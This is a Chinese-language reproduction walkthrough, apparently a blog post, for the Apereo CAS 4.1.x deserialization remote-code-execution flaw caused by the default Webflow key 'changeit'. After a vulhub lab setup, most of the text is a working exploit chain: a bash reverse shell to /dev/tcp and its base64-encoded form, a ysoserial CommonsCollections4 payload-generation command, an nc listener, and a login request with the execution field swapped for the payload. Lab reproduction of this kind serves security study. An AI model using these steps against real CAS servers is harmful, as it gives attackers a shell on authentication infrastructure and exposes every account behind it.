漏洞描述

Apereo CAS是2002年耶鲁大学实验室推出的一个开源统一认证服务,CASCentral Authentication Service,其漏洞成因在于Webflow中使用了默认密钥changeit,攻击者可通过默认密钥触发反序列化漏洞,实现RCE

影响版本

Apereo CAS 4.1.x ~ 4.1.6

漏洞复现

git clone https://github.com/vulhub/vulhub.git
cd vulhub/apereo-cas/4.1-rce
docker-compose up -d

利用工具:vulhub/Apereo-CAS-Attack: WIP: Demo for Attacking Apereo CAS (github.com)

反弹shell编码:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T (jackson-t.ca)

bash -i >& /dev/tcp/<ip>/<port> 0>&1
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88aXA+Lzxwb3J0PiAwPiYx}|{base64,-d}|{bash,-i}

利用工具里ysoserialCommonsCollections4生成payload

java -jar apereo-cas-attack-1.0-SNAPSHOT-all.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC88aXA+Lzxwb3J0PiAwPiYx}|{base64,-d}|{bash,-i}"

在攻击机上打开一个监听终端:

nc -lnvp <port>

访问http://<ip>:<port>/cas/login登录页面,抓取登录数据包,将execution替换为生成的payload

username=admin&password=123456&lt=LT-3-gwwPiolLX4sdBIY5cz0jhZSeWcsuHz-cas01.example.org&execution=<payload>&_eventId=submit&submit=LOGIN

替换完成之后转发数据包,监听终端成功反弹一个shell

文章许可:本文采用CC BY-NC-SA 4.0许可协议,转载请注明出处。